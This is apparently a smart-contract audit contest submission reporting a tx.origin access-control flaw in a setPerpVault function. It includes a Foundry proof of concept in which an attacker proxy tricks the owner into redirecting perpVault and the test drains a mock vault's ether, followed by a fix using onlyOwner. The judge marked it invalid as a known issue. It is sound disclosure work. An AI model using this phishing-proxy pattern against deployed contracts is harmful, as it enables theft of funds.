DeFiFoundry
50,000 USDC
View results
Submission Details
Severity: low
Invalid

Unrestricted setPerpVault Enables Unauthorized ETH Refunds

#access-control, #tx.origin, #unsafe-setter

Summary

The setPerpVault function uses an insecure tx.origin == owner() check instead of a reliable onlyOwner modifier based on msg.sender. An attacker can trick the owner into calling the function through a malicious contract, passing attackerAddress as the new perpVault. Once perpVault is pointed to the attacker, any subsequent call to refundExecutionFee drains Ether directly to the attacker’s address.

Vulnerability Details

Flawed Authentication: The function relies on tx.origin == owner(), which is vulnerable to phishing or malicious intermediary contracts.

  • Arbitrary Address Assignment: Attackers set perpVault to their own address.

  • Ether Drain: The new perpVault holder calls refundExecutionFee with an arbitrary amount, withdrawing the contract’s Ether.

Impact

Impact: High – Attackers acquire direct, unauthorized access to the contract’s Ether balance.
Likelihood: High – A single tx.origin check can be bypassed through phishing, malicious call flows, or compromised user wallets.

Tools Used

Manual Review

POC

An attacker deploys a malicious intermediary contract.

  • The attacker successfully tricks the owner into calling setPerpVault with the attacker’s address as the new perpVault and supplies a valid market parameter.

  • The tx.origin check passes because the owner's address is the transaction origin, and the function sets perpVault to the attacker-controlled address.

  • The attacker, now as the authorized caller, invokes refundExecutionFee with their address and an arbitrary Ether amount.

  • The contract transfers Ether to the attacker's address, draining funds from the contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
contract Vault is Test {
address public owner;
address public perpVault;
// ETH accumulates here; here we assume it has a non-zero balance.
constructor() payable {
owner = msg.sender;
}
// This relies on tx.origin
function setPerpVault(address _perpVault) external {
// ISSUE: Checking tx.origin instead of msg.sender (or onlyOwner)
require(tx.origin == owner, "invalid caller");
perpVault = _perpVault;
}
// Only the perpVault can call this to refund ETH
function refundExecutionFee(address recipient, uint256 amount) external {
require(msg.sender == perpVault, "invalid caller");
(bool success, ) = payable(recipient).call{value: amount}("");
require(success, "transfer failed");
}
}
/**
* Attack Contract
*/
contract AttackerProxy {
Vault vault;
constructor(Vault _vault) {
vault = _vault;
}
// Called by the owner, sets perpVault to the attacker’s EOA
function trickOwner(address attacker) public {
vault.setPerpVault(attacker);
}
}
contract VaultTest is Test {
Vault vault;
AttackerProxy proxy;
address attackerEOA = address(0xBEEF);
function setUp() public {
// Deploy vault with 10 Ether
vault = new Vault{value: 10 ether}();
// Deploy attack proxy
proxy = new AttackerProxy(vault);
}
function testExploit() public {
address owner = vault.owner();
// The attacker uses proxy to trick the vault owner:
// 1. The owner calls `trickOwner` on the proxy.
// 2. The proxy calls `vault.setPerpVault(attackerEOA)`, and `tx.origin` is still the owner.
vm.startPrank(owner); // Impersonate the vault's actual owner
proxy.trickOwner(attackerEOA); // Succeeds because `tx.origin == owner`
vm.stopPrank();
// Confirm perpVault is now the attacker's address
assertEq(vault.perpVault(), attackerEOA);
// Attacker calls refundExecutionFee from attackerEOA:
vm.startPrank(attackerEOA);
vault.refundExecutionFee(attackerEOA, 10 ether);
vm.stopPrank();
// Vault's ETH balance is drained to the attacker
assertEq(address(vault).balance, 0);
assertEq(attackerEOA.balance, 10 ether);
}
}

Recommendations

Replace tx.origin-based authentication with a robust modifier like onlyOwner (based on msg.sender).

  • Consider making perpVault immutable if no changes are required after initialization. Otherwise, wrap changes in multi-signature governance approvals.

function setPerpVault(address _perpVault, address market) external onlyOwner {
require(_perpVault != address(0), "zero address");
require(perpVault == address(0), "already set");
perpVault = _perpVault;
gExchangeRouter.setSavedCallbackContract(market, address(this));
}
Updates

Lead Judging Commences

n0kto Lead Judge 3 months ago
Submission Judgement Published
Invalidated
Reason: Known issue
Assigned finding tags:

invalid_tx-origin

Lightchaser: Medium-5

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.